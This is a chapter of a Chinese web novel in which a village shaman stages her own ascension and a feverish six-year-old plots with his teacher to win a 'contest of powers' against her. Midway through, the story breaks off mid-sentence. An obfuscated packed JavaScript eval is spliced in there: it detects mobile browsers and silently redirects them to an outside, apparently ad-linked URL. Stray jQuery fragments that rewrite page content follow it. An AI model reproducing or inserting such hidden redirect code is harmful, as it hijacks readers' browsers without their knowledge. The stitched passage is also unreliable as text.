32.博弈论

作品:《登临塔下

    在明月庄,与神明也有关的消息总是传播地格外快。而神婆子的消息就是神明的消息,钟表还没有走过两个点儿,庄子里就挨家挨户传诵起万金花将要上高天成神仙的事了。这可是天大的好事儿,哪怕没有落在自己头上,一想到与未来的仙家是同乡,人们也就生出与有荣焉的情绪来,脸上纷纷展开了笑颜。


    神婆子的身上披着一件由百家布做成的披风,将她脖子以下的皮肤罩起来。若是问万金花自己,她其实早已不在乎这些,早在十九岁她就已经向人们展示过自己脊背的皮肤了。只是她现在不是什么神婆子,而是尽力配合欢呼雀跃的人们演出的一个景点。


    明月庄的男女老少当下手里的锅碗瓢盆和锄头担子,蚂蚁一般排着队来到万金花的家门口要把她往登临塔迎。他们飞速砍倒一片竹林,用竹刀用麻绳用人力,刷刷刷地就把翠绿的竹子造成一副结实的轿子,万金花坐上去,竹子被压得往下陷,再轻飘飘地弹起来。八个壮硕的男人撸起袖子架起轿子,喊着整齐的号子把这尊活的祥瑞往登临塔的方向抬。


    人们在塔前支起红布,万金花端坐其中,方才为她清扫蚂蚁的两个女人自告奋勇把守入口,交出两张票子就能进去一睹登仙诗文的真迹。


    人们呼喊李得彩的名字,这位塑像师傅在大家耐心耗尽的边缘露出了身子,却朝着底下喊道:“吵死了!我还要做塑像呢!”


    庆祝的人才不管李得彩的话,他们决心不再等下去,而是猴子似的爬到李得彩的身边,把他也像是牲畜似的架了下来,和万金花放在一起。红布营造的喜庆氛围让李得彩恍惚间觉得自己回到了和万金花摆婚酒的时候,他现在后悔当初的决定了。


    神婆子在红色的居所里向众人宣布,重修登临塔的使命有了新的变化,它将既是吉祥天师在人间居所的落成,也是万金花与仙家权力交接的专有场所。有人趴在她的脚边奉承道:“婆子,跟着你咱们真是享福了。现在看来,小白菜虽然得到仙家点化,但再怎么也是您身边的小童子,他身上的祥瑞都是为了给你做铺垫呢!”


    现在,连那个坐着奔驰来到明月庄的烫头发女人都对万金花恭恭敬敬了。那女人听到万金花喊她过去,也学着人们的样子双手合十拜了一拜,“仙家,你说。”


    万金花连连摆手,“哪里哪里,让老板娘见笑了。”说罢,她就吩咐在身边围观的一男一女两个小孩去捧来符纸和朱砂,自己则从袖筒里摸出一个黑色的圆形小盒子来。只见神婆子用脚尖勾起李得彩没来得及拾起的毛笔,空中翻腾两周半便落到了她的手里,“这是画画的笔。”她说着这话,同时瞟了李得彩一眼。她丈夫的脸色,也和这空白的符纸一样了。


    这支笔跟了李得彩几十年,今天是第二次有了别的用途。清水把朱砂化开,万金花用这支倒霉的毛笔蘸取碗中红色的颜料,在符纸上画下一个她自创的养生保胎符。黑色盒子里装的是同样黑色的药膏,万金花两指一抹就将硬币大小的药膏涂在女人的肚皮上,她打着圈将药膏抹匀成煎鸡蛋大小的一块,嘴里念叨着:“你是踩星踏月而来的好儿郎,她是追云赶风到此的善心人,你们今生的缘分难解难分,来世的情仇来世再了,你当好好睡一觉,醒来做个有娘疼的宝。”


    符纸被精准地贴到肚皮的正中央,女人看见神婆子的脸上露出欣慰的微笑。她便问道:“这就好了?这么简单?”万金花却示意女人噤声,她撕扯下百家布的一角用火点燃,人们注视着这团火焰在万金花的手掌中逐渐燃尽,在最后一秒,她把火苗扔进了自己的嘴里。烫头发的女人嘴唇张成“O”型,用明显水肿的十指遮着。


    神婆子的双眼弯成了月牙,她攀着女人的双肩,对着她O型的嘴唇缓缓吐出烟雾。那女人瞬间昏昏欲睡了,仿佛那烟雾真有着什么神奇的功效似的。女人放下了手掌,竟张开嘴往前探了探,她吞下烟雾,忍住了喉咙的瘙痒,觉得自己忍过了仙家的考验。


    “好了,老板娘,我为你肚子里的孩子祛了灾,给你们娘儿俩续了缘,你回去安心等着吧。”神婆子说,她的声音就和口中的烟雾一样轻飘飘。


    我站在登临塔的人群外围,很快就听见里头传来金银珠玉落地的声响,停在外面耐心等待的奔驰车很快也被聒噪的孩子们堵得动弹不得。但这不是值得担心的事,他们自有办法解围。


    现在真正需要关心的人是小白菜。这个可怜的孩子在今日付出了生平所有的耐心,围墙为他提供了更好的观察视角,也让他的怒气盖过所有人的喜气。


    偏偏瘸子扶着腿不怀好意地现身,他的脸上绽放出洋洋得意的神情,他觉得自己赢了,不管其中过程如何,现在的结果是向着他的。“白菜,你看不起我,可我比你的脑子更灵光!”


    小白菜没有说话,他倒想听听这个瘸子要说些什么来揶揄他。


    “白菜,你的确是尊贵的仙童,可万婆子终究是生养你的老娘,你再厉害也是不能超过她的。所以啊,我看你的预言是不能灵验咯!”


    成功写下诗文之后,万金花如约告知了瘸子保命的方法,“你不能回家,你睡在家门口或是睡在田里都行,就是不能踏过任何一扇门。小白菜说你要死,不是什么预言,是从我这里学来的咒法,被他心怀不轨地用了,把不知道哪一道门设成了你的死门,只要你一走进去就会没了命!你要在门外面待够七七四十九天,死劫自然就过去了,他的咒法也就不灵了。”


    小白菜看着瘸子恶心的脸,想起了历史老师的教导,要耐心,耐心地像草原上狩猎的食肉动物。我也承认这个孩子拥有整个明月庄最坚定的意志,在太阳的炙烤下,小白菜的汗水从脑门流向下巴,汗水滚动的感觉让他更加固执地坚信,预言没有错误,瘸子将如约死去,而万金花的登仙宣言,不过是她的鬼把戏。


    瘸子接着说:“我晓得你现在心情不好,但是白菜,你才六岁,不像我们是半截入土的人了。你的年纪这么小,先跟着万婆子学一学才是正道,不要又和上次一样,差点把命根子丢咯。”


    这话没有让小白菜跳脚,倒是那阉鸡听了飞起来要啄瘸子的□□。“死畜生,滚开!”阉鸡遭了瘸子一脚撞到墙上,很快就躺在地上抽搐了两下,不再动了。


    小白菜终于开了口,“瘸子,你说我的预言不能灵验?”


    “当然了。白菜,你可别哭鼻子。你的老娘万婆子现在成了仙家的候选人,明月庄就是她管辖的地界,新官上任,怎么能让自己的底盘上平白无故地死人呢?你说是不是啊?哈哈哈哈哈……”他一笑就把自己呛着了,咳了好一会儿才缓过神来,“反正啊,我的命现在是有保障了,你害不到我!”小白菜仍然不说话,瘸子没了耐心,“我可还有正事儿要做呢,白菜,你可别怪我的话难听,不听老人言,吃亏在眼前呐!”


    “呸!你算个狗屁,也来教育我?”小白菜心想。在他打算开口说些什么的时候,高热如期而至,清溪河在他眼里成了通天的梯子,歪歪扭扭好像下一秒就要砸到他的头上。他揉揉眼睛,河道又成了舞女的彩带,他忽然就好想跳一支招魂的舞,伸出手去抓却扑了个空。小白菜看到明月庄骤然升起,成为了仰头也看不见顶的高楼——他因为高烧昏了过去。


    小白菜在熟栗子的甜香中醒来,抱着他的人是李春生。


    胃痛仍然在李春生的身上盘踞着,并在他生命的最后半年里始终与他共存。我记得那天他离开的时候看起来有些着急,“去哪儿?”我问他。


    “小白菜现在应该急坏了。”李春生只为我停留了一秒钟的时间,就争分夺秒地往围墙那边赶去,玻璃杯里的温水现在已然凉下来了。


    小白菜环顾四周,确信自己不在围墙旁边,这里是山羊坡。李春生就这么低垂着眼看着他,什么也不说,很快,小白菜终于像一个真正的六岁小孩一样放声大哭起来。他的历史老师开始扮演一个称职的母亲,轻轻拍打他的背,同时抽出另一只手来碰了碰他的额头,高热还没有退去,这两人成了慢性病的病友。


    “小白菜,你哭的是什么?”李春生问道。这个答案他心知肚明,但仍然需要小白菜亲口告诉他。


    这孩子紧紧抓着李春生的手臂,在他的皮肤上留下凌乱的指甲印,“老师!春生老师!你骗人,我要输了,我要输了啊!”


    李春生却笑了,“谁告诉你要输了?”


    “没人告诉我,但我知道!春生老师你站起来看看,明月庄的人们都为了我的妈妈而疯狂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114920|163016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    啦!她先我一步夺得了人们的崇拜,堂而皇之地自诩为仙家,没有人再来关心我的预言啦!没有啦!”


    “可是小白菜。”李春生抱着他站起来,他们所在的位置刚好能看到登临塔附近的情况,“你的预言还没有失败,它只是还没有发生。”


    “太晚啦!太晚啦!已经没有用啦!”


    “嘘,你要是想赢,就认真地听老师说。”李春生调整了一下抱孩子的姿势,让小白菜的脑袋可以靠着他的肩膀,“小白菜,告诉我一个比一大的数字。”


    “二。”孩子的哭声逐渐停止了,山羊坡上只剩下风声和二人的耳语。


    “没错。你妈妈背上的诗句是一,你只要拿出二就能赢过她了,这是简单的道理,我知道你能明白。”


    “可是我也只有一个预言。”


    李春生再次提起那桩悬而未决的往事,“小白菜,你又忘记了,你本来的任务不是与万金花博弈,而是找到放火烧塔的人,这是吉祥天师亲口对你说的话,你好好想想,天师为什么要让你来找到这个人呢?”


    小白菜搂着李春生的脖子,从山羊坡上注视着欢声笑语的人群。高处投下的视野让那些人变得和虫子一样小,他稍稍抬眼看到中央未完成的塑像,天师慈悲的五官还没有通过李得彩的笔诞生,小白菜就已经在脑海中为神像添上了双目。眼睛的位置,山羊坡的位置,他顿时领悟了李春生选择站在这里的原因:从这里投下的视野,和登临塔中神像的视野是位于同一水平线的。


    “虫子,他们都是虫子。春生老师,我想天师对我委以重任,目的与我的妈妈万金花所表演的是一样的——他要我成仙。这是他的考验。可是妈妈她偷天换日,颠倒黑白,沐猴而冠,他们根本不知道,我才是真正要成仙的人。”


    李春生听到小白菜在耳边发出两声熟悉的“嘿嘿”,接着对他循循善诱,“那你要成仙,却还没有完成吉祥天师的任务,他怎么把位子让给你呢?”


    “让给我?”小白菜抓住了这个词,“春生老师,你的意思是,我找到了纵火犯,吉祥天师就会让位于我吗?”


    “这不是你自己说的吗?要做明月庄的第一名,忘记了吗?”


    “春生老师,你果然很有魄力。”


    李春生说:“小白菜,我只是一个老师,学生有梦想,我就尽力帮助他罢了。”


    小白菜长叹一声,“现在,我只恨我姓李,不姓万。”


    “没有人说你只能姓李吧。”李春生说道。小白菜听了蠕动着直起身子,他再次触摸李春生眼角的疤痕说道:“你对我很执着。”


    “不是我执着,而是你总是面临很多问题,答疑解惑是一个老师的本分。比如现在,找到纵火犯是你赢下斗法的关键,那可以证明万金花从那时起就是错的,慧眼如炬的是你。一个纵火者的真相,加上一个灵验的预言,一加一,不就超过你的妈妈了吗?”


    “嘿嘿嘿嘿嘿……”小白菜在李春生的肩上摇头晃脑,“春生老师,那我不如再加一,只是还需要你的帮助。”


    “你说。”


    “春生老师,为我取个名字吧,我要和我的妈妈一样,姓万,万两黄金的万,万古流芳的万。”


    为人赐名不管对人还是对神来说都是一件大事,李春生开始抱着小白菜在山羊坡上踱步,他在数百年来的见闻中寻找两个适合小白菜的字,最后他说道:“寿予,万寿予。纷总总兮九州,何寿夭兮在予。”


    小白菜咂摸着嘴回味了一会儿,心满意足地攀上李春生的脖子对他说:“好,好,好,春生老师,从现在开始我们就是难舍难分的共同体了。你放心,等我成仙的时候,一定会带上你的。”他一边说着,一边就把自己的脸蛋往李春生的脖颈上贴,就像动物幼崽索取母亲的舔舐。


    这场谈话的目的达成了,李春生让小白菜整个人伏在自己身上,轻拍着他的背并开口唱道:“月亮爬上呐小山岗,我把歌谣呐唱一唱,船上的星星摇摇晃,屋里的人儿静悄悄,别把心事呐放心上,快快睡下呐好梦长……”


    歌谣唱完第二遍,熟睡的小白菜被安放回家中的床铺。到此,李春生暂时不必做什么了,毕竟他知道,斗法还远远没有结束呢。